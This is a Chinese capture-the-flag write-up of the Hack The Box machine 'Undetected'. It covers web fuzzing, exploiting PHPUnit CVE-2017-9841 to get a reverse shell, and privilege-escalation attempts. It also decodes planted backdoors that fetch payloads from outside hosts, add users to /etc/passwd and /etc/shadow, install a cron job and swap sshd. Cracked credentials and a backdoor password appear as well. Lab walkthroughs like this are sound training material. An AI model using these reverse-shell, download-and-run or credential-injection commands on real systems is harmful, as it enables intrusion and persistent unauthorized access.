栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Hackthebox靶场---Undetected 攻略实战(难)

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Hackthebox靶场---Undetected 攻略实战(难)

正常思路 nmap进行端口扫描 发现开放了80和22端口

 网站进入80端口 是一个珠宝网站

发现点击store会重定向到其他的url

http://store.djewelry.htb/

 我们首先用dirsearch扫描一下

 

然而并没有发现什么有用的,也跟基本主界面测试差不多 除了store可能有可以利用的地方

我们不妨把这个未知url的地址也dns解析到这个ip地址 执行以下命令即可

echo 10.10.11.146 djewelry.htb store.djewelry.htb >> /etc/hosts

此时就可以成功进入store界面了

但是提示网站已经migrate了

 既然本站不再使用,就看看有没有可能遗留下什么东西 可以试试fuzz

这里可以使用一款工具 ffuf

友情链接:​​​​​​Ffuf使用教程_WeUjie的博客-CSDN博客_ffuf安装

 

• -u url地址
• -w 设置字典
• -c 将响应状态码用颜色区分,windows下无法实现该效果。
• -t 线程率,默认40
• -p 请求延时: 0.1、0.2s
• -ac 自动校准fuzz结果
• -H Header头,格式为 “Name: Value”
• -X HTTP method to use
• -d POST data
• -r 跟随重定向
• -recursion num 递归扫描
• -x 设置代理 http 或 socks5://127.0.0.1:8080
• -s 不打印附加信息,简洁输出
• -e 设置脚本语言 -e .asp,.php,.html,.txt等
• -o 输出文本
• -of 输出格式文件,支持html、json、md、csv、或者all

基于此 我们对其进行一次扫描

ffuf -u "http://store.djewelry.htb/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt

扫描结果大致如下:

接下来我们挨个去访问试试

 

 最后在vendor中发现可能存在玄机

 我们试着下载一些文件

wget http://store.djewelry.htb/vendor/autoload.php

 但是文件内容为空。所以在尝试去依次看看其他的文件

可以在该目录下看到很多md的更新日志文件信息

我们不妨去看一下最新的一个版本5.6

 这里我们发现 最后一个phpunit的版本的更新是5.6.2 所以只要找到phpunit在这个时候之后的漏洞就可以进行利用了

我们可以使用google进行搜索exp

这里有一个CVE-2017-9841可以考虑使用 

接下来就是漏洞利用的部分。我们可以考虑从github上下载武器然后使用,也可以考虑去searchsploit或者msf中看看有没有可以直接利用的脚本

这里我们给出github的地址:

https://github.com/vulhub/vulhub/blob/master/phpunit/CVE-2017-9841/README.md

经过搜索 msf中没有现成可以利用的脚本,searchsploit中也没有 所以我们只能理解原理然后手工复现利用漏洞

我们根据github的提示 进入相应的漏洞界面

http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

接下来我们开启burp进行抓包 执行恶意的语句进行测试

 

 测试利用成功 接下来我们构造恶意语句开始反弹shell

我们黑客端用nc进行监听

同时burp中提交恶意监听语句

 

& /dev/tcp/10.10.16.13/4444 0>&1"')?>

 成功用nc反弹shell实现控制

接下来我们要做的就是尝试提权

grep 'bash' /etc/passwd

我们发现了三个用户具有管理员权限 接下来重心在于突破steven和steven1这两个用户上

 发现权限不够 没有办法进入用户目录文件夹

接下来我们使用linux提权脚本Linpeas跑一下试试

 友情地址:

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
https://github.com/carlospolop/PEASS-ng

 软件功能比较强大 我们可以考虑把其放到msf中 这样后续做渗透测试也可以直接用

sudo wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb

 如果下载失败可以考虑手动下载 把文件放到指定位置

use post/multi/gather/peass
show info

这里我们就正常使用sh文件即可。把这个sh文件放到我们kali的服务器上 让目标主机去下载这个sh文件

sh文件下载的友情地址:

https://github.com/carlospolop/PEASS-ng/releases/tag/20220417

开启kali的web服务功能

python3 -m http.server 8000

之后在靶机中

cd /tmp
wget http://10.10.16.13:8000/linpeas.sh
chmod 777 ./linpeas.sh

./linpeas.sh

这里我们可以看到一些可以利用的结果:

 

 可以详情参见本人的文章

CVE-2021-4034 Linux Polkit本地权限提升漏洞_Simon_Smith的博客-CSDN博客

这里可以尝试CVE-2021-4034的Polkit进行本地权限提升

我们同理 把相应提权要用到的脚本给整理一下放到kali的web服务里面去

之后在靶机的位置

wget http://10.10.16.13:8000/CVE-2021-4034

 如果文件夹用wget下载不成功 可以挨个下载

wget http://10.10.16.13:8000/CVE-2021-4034/cve-2021-4034.c && wget http://10.10.16.13:8000/CVE-2021-4034/cve-2021-4034.sh && wget http://10.10.16.13:8000/CVE-2021-4034/Makefile && wget http://10.10.16.13:8000/CVE-2021-4034/pwnkit.c && wget http://10.10.16.13:8000/CVE-2021-4034/LICENSE && wget http://10.10.16.13:8000/CVE-2021-4034/dry-run/dry-run-cve-2021-4034.c && wget http://10.10.16.13:8000/CVE-2021-4034/dry-run/Makefile && wget http://10.10.16.13:8000/CVE-2021-4034/dry-run/pwnkit-dry-run.c

 接下来可以进行尝试

chmod 777 ./*
./cve-2021-4034.sh

但是由于目标靶机缺乏make环境 

 所以很不幸 exp的脚本不太能够直接利用

 目标环境也没有python 所以也没有办法运行py的exp

 正因为此 我们不得不换一个提权的思路

我们找到了一个backups文件目录

 一大顿乱码中我们发现了一些十六进制的内容

776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b

 我们将其转换为ASCII值

echo "776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b" | xxd -r -p
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;

小知识 xxd是一个linux下的小工具 可以把文件以十六进制显示出来

友情链接:​​​​​​linux+桌面小工具,linux下小工具xxd使用_rain john的博客-CSDN博客

接下来瞎捣鼓捣鼓 得到了该用户的hash

$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/

使用john爆破以后 得到了该用户的密码

username = steven1
password = ihatehackers

接下来我们ssh登录到这个用户

 

 我们可以尝试sudo -l看看能否提权

 没有steven用户的密码 没办法sudo -l  那我们老样子 用脚本继续跑试试

cd /tmp && wget http://10.10.16.13:8000/linpeas.sh && chmod 777 ./linpeas.sh && ./linpeas.sh

看了一圈 没什么可以利用了 除了两个关于邮件的

我们不妨查看一下邮件

 

既然提示apache服务器有点问题 那我们去看看apache服务器吧

cd /usr/lib/apache2 && ls -la

进入modules文件夹后 发现文件很多

cd modules && ls -la

 我们不妨筛选一下,按照最近修改顺序进行排序

ls --full-time -i | sort -u

在ssh操作过程中 可以使用scp进行文件传输

友情链接:scp命令详解_冷风中的冰雨的博客-CSDN博客_scp命令

scp steven1@10.10.11.146:/usr/lib/apache2/modules/mod_reader.so ~/Desktop

 或者直接cat查看也行

cat mod_reader.so

下载下来后,在mod_reader.so中提取到一段base64码

d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk

解析一下

(接下来的内容复现困难,参考了知乎大佬的wp)

echo -n 'd2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk' | base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd

这边是把这张图片传输到sshd,去下载下来

使用ghidra打开进行逆向

从这里可以看出来,我们的密码是31位

backdoor._28_2_ = 0xa9f4;
backdoor._24_4_ = 0xbcf0b5e3;
backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
backdoor[30] = -0x5b;
backdoor._0_4_ = 0xf0e7abd6;
backdoor._4_4_ = 0xa4b3a3f3;
backdoor._8_4_ = 0xf7bbfdc8;
backdoor._12_4_ = 0xfdb3d6e7;

我们给它排序一下,从高到低排序

backdoor[30] = -0x5b;
backdoor._28_2_ = 0xa9f4;
backdoor._24_4_ = 0xbcf0b5e3;
backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
backdoor._12_4_ = 0xfdb3d6e7;
backdoor._8_4_ = 0xf7bbfdc8;
backdoor._4_4_ = 0xa4b3a3f3;
backdoor._0_4_ = 0xf0e7abd6;

0x5b
0xa9f4
0xbcf0b5e3
0xb2d6f4a0fda0b3d6
0xfdb3d6e7
0xf7bbfdc8
0xa4b3a3f3
0xf0e7abd6

这边排序好以后,右键查看一下0x5b

发现正确的应该是0xa5,修改一下后去做一下编码

首先转化成HEX再转化为XOR

https://gchq.github.io/CyberChef/#recipe=Swap_endianness('Hex',31,true)From_Hex('Auto')XOR({'option':'Hex','string':'96'},'Standard',false)&input=MHhhNQoweGE5ZjQKMHhiY2YwYjVlMwoweGIyZDZmNGEwZmRhMGIzZDYKMHhmZGIzZDZlNwoweGY3YmJmZGM4CjB4YTRiM2EzZjMKMHhmMGU3YWJkNg

这是最终改出来的效果,点开即可看到我的结果

0xa5
0xa9f4
0xbcf0b5e3
0xb2d6f4a0fda0b3d6
0xfdb3d6e7
0xf7bbfdc8
0xa4b3a3f3
0xf0e7abd6

@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3

得到了backdoor的密码

@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3

 这哪里是medium 真的太难了

部分参考地址:Hackthebox - Undetected 靶场实战 - 知乎 

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/842550.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号